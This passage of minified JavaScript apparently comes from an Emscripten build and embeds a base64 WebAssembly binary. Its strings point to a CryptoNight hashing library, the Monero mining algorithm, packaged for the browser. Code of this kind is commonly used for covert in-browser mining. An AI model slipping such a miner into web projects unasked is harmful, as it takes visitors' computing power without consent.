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\"),t=r.length,n=new Uint8Array(t),o=0;o<t;o++)n[o]=r.charCodeAt(o);return n.buffer}(),Module||(Module=(void 0!==Module?Module:null)||{});var moduleOverrides={};for(var key in Module)Module.hasOwnProperty(key)&&(moduleOverrides[key]=Module[key]);if(ENVIRONMENT_IS_WEB=\"object\"==typeof window,ENVIRONMENT_IS_WORKER=\"function\"==typeof importScripts,!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER)throw\"Unknown runtime environment. Where are we?\";if(Module.read=function(e){var r=new XMLHttpRequest;return r.open(\"GET\",e,!1),r.send(null),r.responseText},ENVIRONMENT_IS_WORKER&&(Module.readBinary=function(e){var r=new XMLHttpRequest;return r.open(\"GET\",e,!1),r.responseType=\"arraybuffer\",r.send(null),new Uint8Array(r.response)}),Module.readAsync=function(e,r,t){var n=new XMLHttpRequest;n.open(\"GET\",e,!0),n.responseType=\"arraybuffer\",n.onload=function(){200==n.status||0==n.status&&n.response?r(n.response):t()},n.onerror=t,n.send(null)},\"undefined\"!=typeof arguments&&(Module.arguments=arguments),\"undefined\"!=typeof console)Module.print||(Module.print=function(e){console.log(e)}),Module.printErr||(Module.printErr=function(e){console.warn(e)});else{var TRY_USE_DUMP=!1;Module.print||(Module.print=TRY_USE_DUMP&&\"undefined\"!=typeof dump?function(e){dump(e)}:function(e){})}ENVIRONMENT_IS_WORKER&&(Module.load=importScripts),void 0===Module.setWindowTitle&&(Module.setWindowTitle=function(e){document.title=e}),!Module.load&&Module.read&&(Module.load=function(e){globalEval(Module.read(e))}),Module.print||(Module.print=function(){}),Module.printErr||(Module.printErr=Module.print),Module.arguments||(Module.arguments=[]),Module.thisProgram||(Module.thisProgram=\"./this.program\"),Module.quit||(Module.quit=function(e,r){throw r}),Module.print=Module.print,Module.printErr=Module.printErr,Module.preRun=[],Module.postRun=[];for(var key in moduleOverrides)moduleOverrides.hasOwnProperty(key)&&(Module[key]=moduleOverrides[key]);moduleOverrides=void 0;var Runtime={setTempRet0:function(e){return tempRet0=e,e},getTempRet0:function(){return tempRet0},stackSave:function(){return STACKTOP},stackRestore:function(e){STACKTOP=e},getNativeTypeSize:function(e){switch(e){case\"i1\":case\"i8\":return 1;case\"i16\":return 2;case\"i32\":return 4;case\"i64\":return 8;case\"float\":return 4;case\"double\":return 8;default:if(\"*\"===e[e.length-1])return Runtime.QUANTUM_SIZE;if(\"i\"===e[0]){var r=parseInt(e.substr(1));return assert(r%8==0),r/8}return 0}},getNativeFieldSize:function(e){return Math.max(Runtime.getNativeTypeSize(e),Runtime.QUANTUM_SIZE)},STACK_ALIGN:16,prepVararg:function(e,r){return\"double\"===r||\"i64\"===r?7&e&&(assert(4==(7&e)),e+=4):assert(0==(3&e)),e},getAlignSize:function(e,r,t){return t||\"i64\"!=e&&\"double\"!=e?e?Math.min(r||(e?Runtime.getNativeFieldSize(e):0),Runtime.QUANTUM_SIZE):Math.min(r,8):8},dynCall:function(e,r,t){return t&&t.length?Module[\"dynCall_\"+e].apply(null,[r].concat(t)):Module[\"dynCall_\"+e].call(null,r)},functionPointers:[],addFunction:function(e){for(var r=0;r<Runtime.functionPointers.length;r++)if(!Runtime.functionPointers[r])return Runtime.functionPointers[r]=e,2*(1+r);throw\"Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS.\"},removeFunction:function(e){Runtime.functionPointers[(e-2)/2]=null},warnOnce:function(e){Runtime.warnOnce.shown||(Runtime.warnOnce.shown={}),Runtime.warnOnce.shown[e]||(Runtime.warnOnce.shown[e]=1,Module.printErr(e))},funcWrappers:{},getFuncWrapper:function(e,r){assert(r),Runtime.funcWrappers[r]||(Runtime.funcWrappers[r]={});var t=Runtime.funcWrappers[r];return t[e]||(1===r.length?t[e]=function(){return Runtime.dynCall(r,e)}:2===r.length?t[e]=function(t){return Runtime.dynCall(r,e,[t])}:t[e]=function(){return Runtime.dynCall(r,e,Array.prototype.slice.call(arguments))}),t[e]},getCompilerSetting:function(e){throw\"You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to 